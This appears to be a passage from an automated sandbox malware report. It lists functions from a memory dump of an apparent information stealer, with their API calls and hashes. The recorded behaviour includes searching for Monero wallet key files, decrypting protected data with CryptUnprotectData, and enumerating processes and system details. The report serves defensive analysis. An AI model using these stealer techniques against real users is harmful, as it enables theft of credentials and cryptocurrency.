Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 2a5c80953356c43bdfb189068c3b0a1033c9f42931d94898350a18b478f08768
Instruction ID: cdc4005b469926f591d0bb47f149b15af77da085ec54286bf6101786b4b9eef9
Opcode Fuzzy Hash: 2a5c80953356c43bdfb189068c3b0a1033c9f42931d94898350a18b478f08768
Instruction Fuzzy Hash: E31286719101589BDB15FB60CC96EEE7339AF14300F44419AB50A622D1EF386F89FF9A

Function 00FCDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FE14B0,00FE0C2A), ref: 00FCDAEB
StrCmpCA.SHLWAPI(?,00FE14B4), ref: 00FCDB33
StrCmpCA.SHLWAPI(?,00FE14B8), ref: 00FCDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00FCDDCC
FindClose.KERNEL32(000000FF), ref: 00FCDDDE

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 8e8d613c64aa927b241be6023014d5ab5b0e7a1539a64e5a5ff73b5b8730ea1b
Instruction ID: e81cabb6878863864ad779394a5274632b7bbbce3f1fb97aec432e61f2307535
Opcode Fuzzy Hash: 8e8d613c64aa927b241be6023014d5ab5b0e7a1539a64e5a5ff73b5b8730ea1b
Instruction Fuzzy Hash: A391367290010897CB14FB70ED57EED737DAB84300F448669F90A96285FF389B19EB96

Function 00FD7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

GetKeyboardLayoutList.USER32(00000000,00000000,00FE05AF), ref: 00FD7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00FD7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00FD7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00FD7C62
LocalFree.KERNEL32(00000000), ref: 00FD7D22

Strings

/ , xrefs: 00FD7C7F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: ce8c1dca06184bbf820ea666879373d9625f718302c01166e451a995cc27f53b
Instruction ID: 06d2795d0e32af1d5163e968c1ab97954a90a80fe578ff4c900cacd68878dbb3
Opcode Fuzzy Hash: ce8c1dca06184bbf820ea666879373d9625f718302c01166e451a995cc27f53b
Instruction Fuzzy Hash: 13416E7194021CABCB24EB54DC99BEEB375FF44700F24429AE40966281DB742F85EFA5

Function 00FCE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00FE0D73), ref: 00FCE4A2
StrCmpCA.SHLWAPI(?,00FE14F8), ref: 00FCE4F2
StrCmpCA.SHLWAPI(?,00FE14FC), ref: 00FCE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FCEBDF

Strings

\*.*, xrefs: 00FCE44D

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: cddefc26ef2b54beb0ded7923d8c2561e6d180480031fa6923d5f45f7a7e5d98
Instruction ID: a4e3bc61fdf69077fdfa66e73a83fcef36b440bba8b3c2c4d3323d8445b7fd7d
Opcode Fuzzy Hash: cddefc26ef2b54beb0ded7923d8c2561e6d180480031fa6923d5f45f7a7e5d98
Instruction Fuzzy Hash: 081277319001189BDB14FB70DD96EED733AAF54300F4445AAB50A92281EF386F49FF9A

Function 00FD9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FD961E
Process32First.KERNEL32(00FE0ACA,00000128), ref: 00FD9632
Process32Next.KERNEL32(00FE0ACA,00000128), ref: 00FD9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00FD965C
CloseHandle.KERNEL32(00FE0ACA), ref: 00FD967A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c2a3b89bece82365fe945890b51117b194dee24f04063264ca09ab993db65ad1
Instruction ID: 7fa9271cb22f7c37cc08777ec6e7cc4e38de8dc5b5b6d8e4512a27b6016a551c
Opcode Fuzzy Hash: c2a3b89bece82365fe945890b51117b194dee24f04063264ca09ab993db65ad1
Instruction Fuzzy Hash: 43014C75A00308ABCB25DFA4D858BEDB7F9EB08310F044289A90697340D774DB40DF50

Function 00FD8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00FE05B7), ref: 00FD86CA
Process32First.KERNEL32(?,00000128), ref: 00FD86DE
Process32Next.KERNEL32(?,00000128), ref: 00FD86F3

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

CloseHandle.KERNEL32(?), ref: 00FD8761

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: fd3027e26339ebe5ac69714dcbdd039180e1e429badf48e181185d69cba28e54
Instruction ID: b00aef97d0c810554e4553d65ea7b80da4daa389789c6b4519064eaf950889c9
Opcode Fuzzy Hash: fd3027e26339ebe5ac69714dcbdd039180e1e429badf48e181185d69cba28e54
Instruction Fuzzy Hash: 94319C71901258ABCB25DF50DC45FEEB779EF44700F14429AF50AA2290EF346E45EFA2

Function 00FD7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007BE038,00000000,?,00FE0E10,00000000,?,00000000,00000000), ref: 00FD7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00FD7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007BE038,00000000,?,00FE0E10,00000000,?,00000000,00000000,?), ref: 00FD7A7D
wsprintfA.USER32 ref: 00FD7AB7

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 21e3a42d69c96a5f4b3232c981de44b348cba565249b11f6822e4b8c97ee0d02
Instruction ID: 17cb94dda70240ce2b71f9516d4a129ac2e810a6cbb38ff749f643a1c43064ac
Opcode Fuzzy Hash: 21e3a42d69c96a5f4b3232c981de44b348cba565249b11f6822e4b8c97ee0d02
Instruction Fuzzy Hash: DB118EB1A45318EBEB20DB54DC49FA9B778FB44721F10439AE90A932C0D7785A40CF51

Function 00FC9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FC9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FC9BA3
LocalFree.KERNEL32(?), ref: 00FC9BD3

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a96aad73a53d74b155140bc78d771ec93cc9355064383f31adebde3406d96d3b
Instruction ID: 9dc8119dfdc88935b67623f7fd9f2ce091cd0bf3369ddbad54bd06fb6812ba89
Opcode Fuzzy Hash: a96aad73a53d74b155140bc78d771ec93cc9355064383f31adebde3406d96d3b
Instruction Fuzzy Hash: C011C9B8A00209EFDB05DF94D989EAEB7B5FF88300F104598E915A7354D774AE10CFA1

Function 00FD78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7910
RtlAllocateHeap.NTDLL(00000000), ref: 00FD7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00FD792F

Memory Dump Source

